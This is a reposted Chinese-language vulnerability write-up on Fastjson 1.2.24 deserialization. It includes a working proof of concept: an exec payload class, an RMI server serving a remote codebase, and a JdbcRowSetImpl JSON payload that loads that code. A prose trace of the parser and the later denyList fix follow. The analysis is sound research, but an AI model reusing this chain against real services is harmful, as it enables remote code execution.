Fastjson 1.2.24 反序列化漏洞研究


一、概述

  fastjson自2017年爆出序列化漏洞以來,漏洞就一直停不下來。本次主要研究2017年第一次爆出反序列化漏洞。

二、漏洞復現

  首先在本機簡單進行下漏洞復現。

創建Poc類

該類為最終觸發利用代碼的類,因為是通過JAVA RMI方式讀取,所以該類需繼承UnicastRemoteObject。該對象執行后會在windows環境中彈出計算器。使用javac編譯Poc類,生成Poc.class文件。並啟用一個簡單的Http服務,提供讀取Poc.class文件,通過http://10.2.13.27:8888/Poc.class可成功訪問到Poc.class文件

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Poc extends UnicastRemoteObject{
    
    public Poc() throws RemoteException{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args){
        try {
            Poc poc = new Poc();
        }catch (Exception e){
            e.printStackTrace();
        }
        
    }
}

 

 

創建RMI服務端

public class RMIService {
    
    public static void main(String[] args){
        try {
            //netPoc poc = new Poc();
            Registry registry = LocateRegistry.createRegistry(10999);
            //JdbcRowSetImpl中是通過jndi lookup方法進行代碼注入
            Reference reference = new Reference("Poc","Poc","http://10.2.13.27:8888/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("Poc",referenceWrapper);
            System.out.println("bind 10999....");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    
}

示例代碼

若Jdk版本高於8u113需要添加 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true") ,否則將不會成功。因為高版本jdk禁止了RMI協議使用遠程codebase。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

/**
 * 利用JdbcRowSetImpl進行反序列化,但高版本jdk無法成功JDK 6u132, 7u122, or 8u113
 * */
public  class FastJsonService {
    public static void main(String[] args){
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //JdbcRowSetImpl
        String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
        JSONObject jsonObject = JSON.parseObject(str);
    }
    
}

運行效果

 

三、漏洞分析 

3.1 總體分析

  fastjson主要用來進行序列化和反序列化操作。本次漏洞利用主要是反序列化模塊,當我們傳入一個json字符串時

"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";

因json中指定了@type參數,故fastjson會嘗試將該字符串反序列化為JdbcRowSetImpl類對象,並調用類中的set方法對dataSourceName和autoCommit屬性進行賦值。
fastjson進行反序列化時,如果類中存在無參構造函數,則直接調用無參構造函數進行初始化類。若不存在無參構造函數,則會尋找參數最多的構造函數進行初始化類。

          

故會直接調用JdbcRowSetImpl類中的無參構造函數進行類初始化。可看到conn設置為null。所以setAutoCommit方法會進入else中,即調用 this.conn = this.connect(); 

 

 在connect()中可以看到會調用JNDI的lookup函數,並且參數值為我們反序列化時傳入的dataSourceName屬性,dataSourceName傳入值為rmi://10.2.13.27:10999/Poc,所以最終會成功執行到我們編寫的Poc類。

3.2 詳細分析  

首先,借用別人畫的fastjson部分類關系圖

  

   鑒於我們的Payload最終是 Runtime.getRuntime.exec("calc") ,所以我們在Runtime類的exec方法中設置斷點並啟動調試模式

  

   完整調用路徑如下圖,我們跟蹤下調用過程

  

1.JSON 

  首先調用JSON對象,依次為  parseObject(String text)-->parse(String text)->parse(String text,int featrues) ,其中text為我們輸入的 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true}  ,features為989

 

 

 

在parse(String text,int features)中調用 DefaultJSONParser parser=new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features); 

首先初始化了一個DefaultJSONParser的對象,調用的是DefaultJSONParser的三參數構造函數,在DefaultJSONParser構造函數中調用了 new JSONScanner(input,features) 

 其中input即為我們的輸入 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true}  ,features為989

隨后調用 DefaultJSONParser(Object input,JSONLexer lexer,ParserConfig config) 
主要將上一步生成的JSONScanner對象賦值給JSONlexer對象lexer並進行一些初始化操作,ch設置為‘{’,token設置為JSONTOKEN.LBRACE即12

 

至此 new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features) 完成。
下一步進入JSON類的 parse(String text,int features) 的 Object value=parser.parse()  ,即DefaultJSONParse類的parse()方法

2.DefaultJSONParse

繼續進入 parse()--》parse(ObjectfieldName) ,上一步DefaultJSONParse初始化時,token設置成JSONTOKEN.LBRACE

 

隨后進入 parseObject(object,fieldName) ,通過 scanSymbol 獲取到 “@type” 

 

 再獲取到我們payload中@type的值為"com.sun.rowset.JdbcRowSetImpl",並通過loadClass加載

 隨后進入

3. JavaBeanDeserializer

進入JavaBeanDeserializer的deserialze方法,並執行到 boolean match = parseField(parser, key, object, type, fieldValues); 

 

 

 一路跟蹤,最后進入 public void setValue(Object object, Object value)  方法,method即為我們傳入的JdbcRowSetImpl.setAutoCommit,value即為true。最終會調用傳入類的set方法進行賦值,即最終調用setAutoCommit(true)。

至此,就進入我們在3.1中對jdbcRowSetImpl類的setAutoCommit方法的分析,最終導致了遠程代碼執行。

四、漏洞預防

  fastjson在1.2.25開始的版本中新增 public Class<?> checkAutoType(String typeName, Class<?> expectClass) 方法,denyList數組中的類均無法進行反序列化。但仍然存在繞過checkAutoType方法的途徑,后續再分析。

private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(","); 

若要避免fastjson已知漏洞,請直接升級到最新版。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM